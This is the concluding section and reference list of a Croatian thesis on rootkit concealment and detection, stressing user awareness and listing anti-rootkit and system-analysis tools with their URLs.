Mnogo vazniji aspekt od zastite predstavlja prevencija zaraze, a ona se odnosi na edukaciju i
povecavanje svijesti korisnika o opasnostima koje predstavljaju ne samo alati za prikrivanje
prisutnosti napadaca vec¢ i ostali zloCudni programi. Taj je aspekt daleko izvan opsega ovog
rada, no predstavlja prvi korak u suzbijanju zaraze jer je mogucnost zaraze manja Sto je
korisnik iskusniji 1 svjesniji opasnosti.

Alati za prikrivanje prisutnosti napadaca koji djeluju u korisnickoj razini pokazuju trend
opadanja 1 u posljednje dvije godine nije uoCen niti jedan novi poznati alat koji djeluje u
korisnickoj razini, a da ga se moze okarakterizirati kao alat za prikrivanje prisutnosti
napadaca. S druge strane, broj zlocudnih programa s mogucnoscéu skrivanja znatno se
povecava iz godine u godinu. Granica izmedu alata za prikrivanje prisutnosti napadaca i
"tradicionalnih" zlocudnih programa sve je tanja i to je dodatan razlog za zabrinutost zbog
relativne neucinkovitosti danas dostupnih zastitnih aplikacija.

Alati koji djeluju u jezgrinom nacinu jo§ su opasniji zbog znatno sloZenijih nacina prikrivanja,
no specijalizirani alati kao $to je GMER otkrivaju cak i vrlo sofisticirane alate. Zbog toga
napada¢i smiSljaju sve naprednije tehnike skrivanja 1 djelovanja, od virtualizacije do
hardverskih alata koji se vrlo tesko otkrivaju.

Budu¢i da trenutno stanje zaStitnog softvera nije na zadovoljavajucoj razini, korisnik se u
svrhu vlastite zasStite treba osloniti na svoje najjaCe oruzje — svoje znanje i razumijevanje
opasnosti koju ovakvi alati predstavljaju i upravo je podizanje svjesnosti korisnika bila jedna
od osnovnih motivacija nastanka ovog rada.

Nadam se da je rad tome makar malo pridonio.
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URL: http://www.prime-expert.com/ebed/

[2a] P. Nordahl, Offline NT Password & Registry Editor
URL: http://home.eunet.no/pnordahl/ntpasswd/

[3a] D. Nuhagi¢, nLite

URL: http://www.nliteos.com/

[4a] Winspector software

URL: http://www.windows-spy.com/

[5a] SysInternals (Mark Russinovich), Process Explorer

URL: http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx

[6a] S. P. Miller, Dependency Walker

URL: http://www.dependencywalker.com/

[7a] Immunity Inc, Immunity Debugger

URL: http://www.immunitysec.com/products-immdbg.shtml

[8a] Neuber Software, Security Task Manager

URL: http://www.neuber.com/taskmanager/index.html

[9a] N. Bozinis, xplorer’
URL: http://www.zabkat.com/

[10a] C. Ghisler, Total Commander
URL: http://www.ghisler.com/

[11a] Safe-Protect, AKR 2.007

akr-2007


http://www.safe-protect.com/index.php/lang-en/produits-mainmenu-32/-akr-2007-mainmenu-51/26-akr-2007
http://www.safe-protect.com/index.php/lang-en/produits-mainmenu-32/-akr-2007-mainmenu-51/26-akr-2007
http://www.ghisler.com/
http://www.zabkat.com/
http://www.neuber.com/taskmanager/index.html
http://www.immunitysec.com/products-immdbg.shtml
http://www.dependencywalker.com/
http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx
http://www.windows-spy.com/
http://www.nliteos.com/
http://home.eunet.no/pnordahl/ntpasswd/
http://www.prime-expert.com/ebcd/

[12a]

[13a]

[14a]

[15a]

[16a]

[17a]

[18a]

[19a]

AVG Technologies, AVG Antivirus
URL: http://free.avg.com/

F-Secure, F-Secure Blacklight
URL: http://www.f-secure.com/blacklight/

GMER, GMER catchme
URL: http://www.gmer.net/catchme.php

GMER, GMER

URL: http://www.gmer.net/index.php

Kaspersky Lab, Kaspersky Antivirus
URL: http://www.kaspersky.com/

NIAPGroup, NIAP Antirootkit
URL: http://niapsoft.com/

Usec, USEC Radix
URL: http://www.usec.at/rootkit.html

Sysinternals, RootkitRevealer

URL: http://technet.microsoft.com/en-us/sysinternals/bb897445.aspx


http://technet.microsoft.com/en-us/sysinternals/bb897445.aspx
http://www.usec.at/rootkit.html
http://niapsoft.com/
http://www.kaspersky.com/
http://www.gmer.net/index.php
http://www.gmer.net/catchme.php
http://www.f-secure.com/blacklight/
http://free.avg.com/
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